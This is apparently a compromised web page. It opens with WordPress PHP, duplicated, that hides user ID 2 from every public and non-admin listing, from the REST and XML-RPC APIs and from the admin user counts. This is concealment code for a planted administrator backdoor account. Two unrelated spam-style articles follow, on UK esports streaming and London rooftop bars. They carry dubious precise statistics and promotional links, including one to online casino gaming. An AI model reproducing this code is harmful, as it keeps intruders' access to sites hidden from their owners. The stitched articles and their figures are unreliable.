add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Last year the UK saw a 28 % rise in esports viewers, climbing from 2.1 million to 2.7 million. That spike is driven almost entirely by Twitch, where UK streams hit an average of 1.4 million concurrent viewers in September. The growth is not just in numbers; the median age of a UK esports viewer dropped from 28 to 24, indicating a younger demographic turning to live content.

In Manchester, the Esports Academy launched a 12‑week training program that has already produced three professional players who signed with UK‑based teams. The academy’s curriculum mixes skill drills with media training, a response to the fact that 60 % of viewers now watch streams that include commentary and behind‑the‑scenes footage.
University clubs across the UK have adopted similar models. At Oxford, a student‑run streaming channel averages 4 000 followers and streams every Friday night, drawing in alumni who often sponsor the team. These programs show that the pathway to a professional career now includes a solid streaming presence.
While Twitch subscriptions still generate about £12 k per month for a mid‑tier streamer, most UK esports broadcasters are now earning through a mix of ad revenue, sponsorships, and micro‑transactions. In 2023, the average ad revenue per 1 000 views on a UK stream was £3.50, up from £2.80 in 2021.
Micro‑transactions—such as in‑stream “cheers” or custom emotes—account for roughly 15 % of a streamer’s total income. Sponsorship deals are increasingly tied to engagement metrics; a recent deal between a UK CS:GO team and a gaming peripheral brand paid £8 k for a 30‑minute segment that reached 50 000 viewers.
UK broadcasters now routinely use 4K streaming hardware, thanks to the rollout of 5G in major cities. In London, a new content delivery network can deliver 4K streams with a latency of 150 ms, which is critical for competitive play. This tech leap means that viewers can watch high‑stakes matches in real time without the lag that used to be a problem.
Platform policies have also shifted. Twitch’s new “Community Guidelines” for esports now require streamers to disclose sponsorships within 30 seconds of the stream’s start, improving transparency for audiences. The policy change has led to a 12 % increase in viewer trust scores across UK channels.
Live‑streaming has blurred the lines between esports and casual online gaming, creating a unified entertainment ecosystem. For example, a popular UK streamer recently hosted a charity stream that combined a League of Legends tournament with a live music set, attracting 80 000 viewers and raising £5 000 for charity. This hybrid model shows how live streams can serve both competitive and entertainment purposes, and it’s a trend that’s only gaining momentum. If you’re curious about how this all ties into broader online gaming experiences, you might find http://allenstone.co.uk interesting for its insights into digital leisure trends.
Not every streamer benefits equally. Those in niche games often struggle to reach the 50 000‑viewer threshold needed for lucrative sponsorships. Moreover, the high cost of 4K streaming gear—around £3 500 for a complete setup—can be prohibitive for newcomers. Finally, the rapid pace of platform changes means that streamers must continuously adapt their content strategy, a task that can divert time from gameplay improvement.
Despite these hurdles, the UK’s live‑streaming scene is set to grow. New regulations around data privacy will likely push platforms to offer better analytics, giving streamers clearer insights into audience behaviour. As more universities adopt esports programs, the talent pool will expand, feeding back into higher quality streams and larger audiences.
The rise of live‑streaming in the UK esports scene is measurable in every metric that matters: viewership, revenue, and infrastructure. While challenges remain—especially for niche gamers and those with limited budgets—the trajectory is unmistakably upward. If you’re looking to jump into this space, start by building a consistent streaming schedule, engage with your community, and keep an eye on platform updates that could affect your monetisation strategy.
UK esports viewership grew 28%, rising from 2.1M to 2.7M viewers last year, largely driven by Twitch streams.
Twitch leads, with UK streams averaging 1.4M concurrent viewers in September alone.

Most rooftop venues in London are well‑advertised on social media, but the real hidden bars hide in plain sight. Look for buildings that are not obvious tourist destinations—old office towers, converted warehouses, or even the back of a boutique hotel. A subtle sign, a discreet door, or a lift that stops on a floor you never expected can be the first clue. Once you’re inside, the décor usually leans toward industrial chic, with exposed brick, reclaimed wood, and a mix of vintage and modern lighting.
1. The Loft on King’s Cross – This 16‑story converted office building hosts a bar on the 14th floor. The view stretches from St. Pancras to the City. The cocktail menu includes a “London Fog” gin infusion that uses locally grown lavender. The bar stays open until 10 pm on Saturdays, giving you plenty of time to watch the city lights turn on.
2. Skyline at the Old Mill – Located in an abandoned mill on the South Bank, this venue sits on the 7th floor. The bar’s highlight is a rooftop garden with over 20 different herbs, which are used in the signature “Herb‑Infused Negroni.” The space is only accessible via a discreet staircase, which adds to its exclusivity.
3. Echo on the Thames – A former cinema turned office space, the 10th floor offers a 360‑degree view of the river. The bar’s menu features a “Cinematic” cocktail that changes daily, inspired by classic London films. The venue closes at 9 pm on Fridays, so arrive early to secure a seat.
Each of these hidden rooftops offers more than just a drink. The combination of architecture, local sourcing, and a curated atmosphere creates an experience that feels like a personal retreat. Alex, for instance, noted that the bar on the 14th floor of the King’s Cross loft had a small balcony where he could step out and feel the evening breeze, a moment that made the entire evening memorable.
While the hidden nature of these venues means they’re not always listed in mainstream guides, they do have a few drawbacks. Because they’re not heavily advertised, you might need to arrive earlier than the posted opening time to secure a spot. Also, the prices can be higher than standard bars, with a typical cocktail costing between £15 and £18, reflecting the premium ingredients and exclusive setting.
For those who enjoy the thrill of discovery, these rooftops provide a weekend escape that feels both intimate and adventurous. Whether you’re sipping a lavender gin on a chilly November evening or watching the city lights flicker from a hidden garden, the experience is a reminder that London still holds secret corners waiting to be explored.
After a night of rooftop cocktails, you might wonder how to keep the excitement going without leaving the city. Many locals turn to online gaming platforms that offer a wide range of casino games, from slots to live dealer tables. These sites often feature fast payouts—typically within 24 hours for e‑wallets—and a variety of deposit methods, making them convenient for a post‑bar night of fun. If you’re curious about this alternative way to unwind, you can explore options at www.partytimebrechin.co.uk.
London’s hidden rooftop bars are more than just a place to drink; they’re a passport to a different side of the city. By focusing on architecture, local ingredients, and a discreet entrance, these venues offer a weekend escape that feels both exclusive and accessible. Remember to check opening times, be prepared for higher prices, and arrive early to secure your spot. With a little planning, you’ll discover a rooftop that feels like a secret you’ve just unlocked.
It’s located in an unexpected space, often a repurposed building, and is known only through insider tips.
Most do, especially during peak evenings, so booking in advance is recommended.
Craft cocktails with seasonal ingredients, often served with a view of the skyline.